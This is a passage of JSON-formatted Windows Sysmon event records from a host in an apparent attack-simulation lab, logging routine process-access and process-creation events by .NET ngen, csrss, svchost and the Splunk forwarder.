C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:41.229","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-4303-5F2D-0000-00101D410F00}","TargetProcessId":"4368","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8057,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:41.229\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 660\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4303-5F2D-0000-00101D410F00}\r\nTargetProcessId: 4368\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:41.229","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"660","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4303-5F2D-0000-00101D410F00}","TargetProcessId":"4368","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:03:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8058,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:41.244\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-431D-5F2D-0000-00103FF70F00}\r\nTargetProcessId: 4368\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:41.244","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-431D-5F2D-0000-00103FF70F00}","TargetProcessId":"4368","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8059,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:41.338\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4488\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-42F2-5F2D-0000-00103E980E00}\r\nTargetProcessId: 4428\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:41.338","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4488","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-42F2-5F2D-0000-00103E980E00}","TargetProcessId":"4428","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8060,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:41.338\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 660\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42F2-5F2D-0000-00103E980E00}\r\nTargetProcessId: 4428\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:41.338","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"660","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42F2-5F2D-0000-00103E980E00}","TargetProcessId":"4428","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:03:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8061,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:41.355\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-431D-5F2D-0000-001013FB0F00}\r\nTargetProcessId: 4428\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:41.355","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-431D-5F2D-0000-001013FB0F00}","TargetProcessId":"4428","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":8062,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:41.777\r\nProcessGuid: {90617006-431D-5F2D-0000-00102DFF0F00}\r\nProcessId: 4372\r\nImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-winprintmon.exe\r\nFileVersion: 8.0.2\r\nDescription: Windows Print Monitor \r\nProduct: splunk Application\r\nCompany: Splunk Inc.\r\nOriginalFileName: splunk-winprintmon.exe\r\nCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-winprintmon.exe\"\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=36D3753920C5BBCA16D12DEAD7A3A904,SHA256=EA17F69FB116CFA6ADC3CE07EBBAE3FD2CB221F25E3F7A9ADF3F15DA051831E2,IMPHASH=264D4B9546D98D77D97F569F55A0B748\r\nParentProcessGuid: {90617006-407B-5F2D-0000-0010B4110500}\r\nParentProcessId: 5056\r\nParentImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nParentCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 12:03:41.777","ProcessGuid":"{90617006-431D-5F2D-0000-00102DFF0F00}","Image":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-winprintmon.exe","FileVersion":"8.0.2","Description":"Windows Print Monitor ","Product":"splunk Application","Company":"Splunk Inc.","OriginalFileName":"splunk-winprintmon.exe","CommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-winprintmon.exe\"","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=36D3753920C5BBCA16D12DEAD7A3A904,SHA256=EA17F69FB116CFA6ADC3CE07EBBAE3FD2CB221F25E3F7A9ADF3F15DA051831E2,IMPHASH=264D4B9546D98D77D97F569F55A0B748","ParentProcessGuid":"{90617006-407B-5F2D-0000-0010B4110500}","ParentProcessId":"5056","ParentImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","ParentCommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","EventReceivedTime":"2020-08-07 12:03:43","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8063,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:41.776\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-0010B4110500}\r\nSourceProcessId: 5056\r\nSourceThreadId: 3932\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nTargetProcessGUID: {90617006-4304-5F2D-0000-0010D74B0F00}\r\nTargetProcessId: 4372\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-winprintmon.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:41.776","SourceProcessGUID":"{90617006-407B-5F2D-0000-0010B4110500}","SourceProcessId":"5056","SourceThreadId":"3932","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","TargetProcessGUID":"{90617006-4304-5F2D-0000-0010D74B0F00}","TargetProcessId":"4372","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-winprintmon.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:43","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8064,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:41.776\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 1148\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4304-5F2D-0000-0010D74B0F00}\r\nTargetProcessId: 4372\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-winprintmon.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:41.776","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"1148","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4304-5F2D-0000-0010D74B0F00}","TargetProcessId":"4372","TargetImage":"C:\\Program 